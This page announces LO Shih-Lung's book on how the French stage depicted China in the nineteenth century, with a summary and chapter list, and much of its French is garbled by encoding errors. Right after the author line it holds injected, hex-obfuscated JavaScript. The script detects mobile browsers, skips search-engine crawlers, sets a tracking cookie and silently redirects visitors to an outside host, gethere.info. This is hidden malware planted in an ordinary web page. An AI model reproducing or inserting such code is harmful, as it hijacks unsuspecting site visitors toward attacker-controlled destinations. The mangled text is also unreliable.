Publication thA�A?tre (mars 2015)

Couverture Shih-Lung

L’ouvrage de LO Shih-Lung, La Chine sur la scA?ne franA�aise au XIXeA�siA?cle (216 pages),A�est paru aux Presses universitaires de Rennes en mars 2015.

A�A�La pensA�e qui dirige notre curiositA�, lorsqua��une piA?ce de thA�A?tre est soumise A� notre A�tude, est-elle le dA�sir de trouver une reprA�sentation de mA�urs qui nous sont inconnues ou l’expression da��un art dramatique indA�pendantA�?A�A� Dans son ouvrage intitulA�A�Le ThA�A?tre des ChinoisA�publiA� en 1886, le diplomate chinois Tcheng Ki-tong,A�auteur de cette citation, A�voque un point de vue comparatiste sur les mA�urs franco-chinoises par le biais du thA�A?tre.

Bien avant ce diplomate intelligent et A�loquent, les dramaturges franA�ais ont tentA� de dA�couvrir et da��expliquer la Chine A� la��Occident A� travers les A�uvres thA�A?trales.A�La��Orphelin de la ChineA�de Voltaire inspirA�e de la��histoire chinoise na��est qua��un des exemples qui tA�moignent de la��apogA�e de la chinoiserie du XVIIIeA�siA?cle. La Chine, pays lointain A� la fois fascinant et mystA�rieux, est un sujet rA�current sur la scA?ne littA�raire franA�aise. Si la��image de la Chine ne cesse da��A�voluer en correspondant A� la��imaginaire des spectateurs, le thA?me ne quitte effectivement pas la scA?ne de thA�A?tre. Tout au long du XIXeA�siA?cle, alors que la Chine et les Chinois connaissent de grands changements de leur histoire du fait de la��ouverture A� contrecA�ur A� la��Occident, les dramaturges franA�ais dA�composent et recomposent les images de la Chine qui habitent leur esprit depuis plus da��un siA?cle.

Sa��appuyant sur le rA�pertoire du thA�A?tre franA�ais de thA?me chinois, la��auteur de cet ouvrage analyse la production et la rA�ception des images de la Chine sur la scA?ne thA�A?trale du XIXeA�siA?cle. Le corpus da��A�tude divisA� en trois catA�goriesA�de spectacles participent toutes A� constituer la Chine sur la scA?ne thA�A?trale franA�aise : les piA?ces A� sujet chinois, les A�uvres traduites ou adaptA�es du chinois et la��historique des activitA�s des comA�diens chinois en France. Pour les spectateurs du XIXeA�siA?cle comme pour les lecteurs da��aujourda��hui, la Chine de thA�A?tre est un sujet A� la fois familier et A�trange, proche et A�loignA�, clichA� et variA�, A�puisA� mais exploitableA�: tous ces paradoxes concourent A� crA�er sur la scA?ne franA�aise une Chine kalA�idoscopique.

ISBN :A�978-2-7535-3696-8. LienA�: http://www.pur-editions.fr/detail.php?idOuv=3782.

Sommaire

Introduction

Chapitre IA�A�A� OuvertureA�: Recadrer la��image de la Chine (1842-1860)

Les enjeux de la��opium et du champagneA�: de la politique A� la scA?ne thA�A?trale.

Des A�pisodes inspirA�s des anciens rA�pertoires A� sujet chinois.

Le voyage en Chine.

Les variA�tA�s chinoises des vrais Chinois.

La ChineA�: la��A�vA�nement de la��annA�e.

La Chine : allA�gorie politique.

La ChineA�: la chinoiserie reprise et dA�poussiA�rA�e.

Chapitre IIA�A� ConfrontationA�: PA�rA�grinations en territoire chinois (1861-1880)

La Prise de PA�kinA�: les pA?les lueurs de la��ancien CA�leste Empire.

Le voyage inachevA�.

Une chinoiserie banalisA�e :A�Fleur-de-thA�.

La comA�dieA�du Chinois aux annA�es 1870.

La rencontre de la chinoiserie et duA�japonisme.

De la��exposition au cirque.

Chapitre III A�A�PerplexitA�A�: A� la recherche da��une Chine perdue (1881-1900)

La A�A�trilogieA�A� de la guerre franco-chinoise du Tonkin.

A� la recherche de la Chine classique.

La Chine de Judith Gautier et de Pierre Loti.

Les cultures se croisent.

Le collage des scA?nes chinoises A� la fin du XIXeA�siA?cle.

La Chine des variA�tA�s.

Conclusion

Annexe

Tableau historique
Sources et Bibliographie
Tables des illustrations
Index des auteurs
Index des titres des spectacles

LO Shih-Lung est membre de Langarts.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Vous aimerez aussi...

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *